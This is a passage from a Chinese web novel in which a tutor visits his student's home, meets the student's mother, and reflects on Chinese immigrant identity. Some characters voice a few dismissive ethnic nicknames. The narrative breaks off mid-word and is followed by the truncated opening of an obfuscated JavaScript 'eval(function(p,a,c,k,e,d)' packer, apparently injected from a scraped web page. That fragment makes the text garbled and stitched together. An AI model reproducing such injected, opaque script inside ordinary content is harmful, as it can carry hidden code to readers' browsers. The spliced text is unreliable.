“阿姨好。”他点了点头，说的也是中文，“打扰您了，我是艾登的家教辅导。”

    “是的，我听他说起了，”艾登妈妈微微一笑，缓步向他们走来，她的气质很高雅，姿态无可挑剔，保养也很得当。看起来像个三十多岁的美丽女人，“云决明，是吗？”

    “对，云朵的云，决定的决，明天的明。”

    “如果你愿意的话，可以喊我维尔兰德夫人，也可以喊我祝阿姨——我本姓祝，但当我结婚的时候，这个社会还没有如今那么开放，我的夫家又是老派人，因此我也随夫姓了。”

    云决明没吭声，他不觉得中国女性嫁到外国后随夫姓有什么不好，但他知道有许多华人都对此诟病不已——“在国内吵着要女权平等，到了国外却巴巴地跑去跟洋人姓，就是贱。”

    他的母亲就这么做了，只是离婚后又改回了原本的姓氏，连带着他也一并改了。

    “你吃晚饭了吗？还没吃的话，我可以给你去煮一碗面，或者给你炒两个小菜也行。家里有包子和饺子——不过都是超市里买回来的速冻品，你不介意的话，就给你蒸一点。”

    “速冻品没什么不好的，妈，我就很爱吃。”艾登抗议道，“再说了，云决明是来这儿辅导我功课，不是来吃饭的。你知道我给他付多少钱一小时吗？”

    “你自己同意了那个价格，说明你觉得对方就值得这个价格，没有抱怨的必要。”祝阿姨拍了拍艾登的肩膀，手指顺道捏了捏他的耳朵。

    这小小的亲昵刺痛了他的眼。

    “我已经吃过饭了，”他一直在图书馆里待到七点二十才离开，晚饭就是边开车边塞进胃里的一个贝果。一碗面或几个小菜听起来诱人极了，但云决明还算识趣，“谢谢您的关心，祝阿姨。”

    “别忘了你的爷爷奶奶已经休息了，艾登，”祝阿姨再叮嘱了一句，她对自己儿子反而说的是英文，“不管做什么都小声一点，别吵着他们。”

    “知道了，妈妈。”艾登作势赶着他的妈妈，“哎哟，我们不是说好了，我有朋友来拜访的时候你不用来招待吗？”

    看来，即便有这么优雅温柔的母亲，孩子仍然免不了要经历觉得父母丢脸的阶段。云决明有些好笑，他能想象诸如杰森或其他橄榄球队队员之流看到这一幕会有什么反应，估计要在背后好一通笑话艾登，给他起诸如“Muy''''s boy”的外号。

    “这么说，一会你不需要我给你们端上咖啡和曲奇了？”

    “我们都是大人了，妈妈，想吃我们自己会去拿的。”艾登推着他妈妈往门厅的另一边走去，两人都盈盈笑着。

    “是大人就该搬出去住了，”祝阿姨回手点了点他的鼻子，“而不是待在家里，每天嚷着要奶奶给你做你最爱吃的饭。”

    “妈！”

    “晚安，艾登。晚安，云决明，你出去的时候我就不送你了，让艾登送你就行了。”

    “他不是小学生，妈，我想他还是找得到门把手在哪的。”艾登嚷道，但祝阿姨已经消失在走廊上了。

    “不好意思，让你看到这一幕……”艾登挠着头，颇为不好意思地走了回来，“我妈平时不会这样的。我猜是由于我告诉她来的是个中国人，而且还不是ABC，是她能用中文交流的那类，让她觉得挺开心的缘故。”

    “你平时不会邀请其他中国人来这儿吗？”云决明觉得这么说怪别扭的，却又说不上哪儿别扭。和其他中国人说话的时候，没有谁会这么说，反而一口一个“老外”，“老白”，“老墨”，“老黑”，仿佛国人才是这儿的主宰，别者皆为来客。

    “会啊，但都是些ABC，有些甚至连中文都听不懂，只能听懂粤语。我的生活圈子里全是白人。我妈很不喜欢这点。”云决明跟着艾登往屋里走，这间屋子非常大，绕过有电视的客厅后，便来到了一个更大的会客厅，有着挑高的天花板和一个货真价实的壁炉，姹红的火苗正在木柴上流动，看着就让人觉得温暖。

    “既然祝阿姨不喜欢，你没打算改变吗？”会客厅背后是楼梯，但艾登却往楼下走去。

    “我也想过要交一些中国人朋友，但说实话，他们跟我的共同点实在太少了——运动，派对，流行趋势，历史，哲学，艺术，没一个是他们感兴趣的。这就算了，还特别喜欢跟我谈论政治。老实说，每次沟通对我来说都是一次提心吊胆的试炼，一不留神就会得罪某个人，交流起来实在是太累了。”

    看来他也不太可能成为艾登的朋友。云决明心想，运动，派对，流行趋势，历史，哲学，还有艺术，他全都不感兴趣。

    艾

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''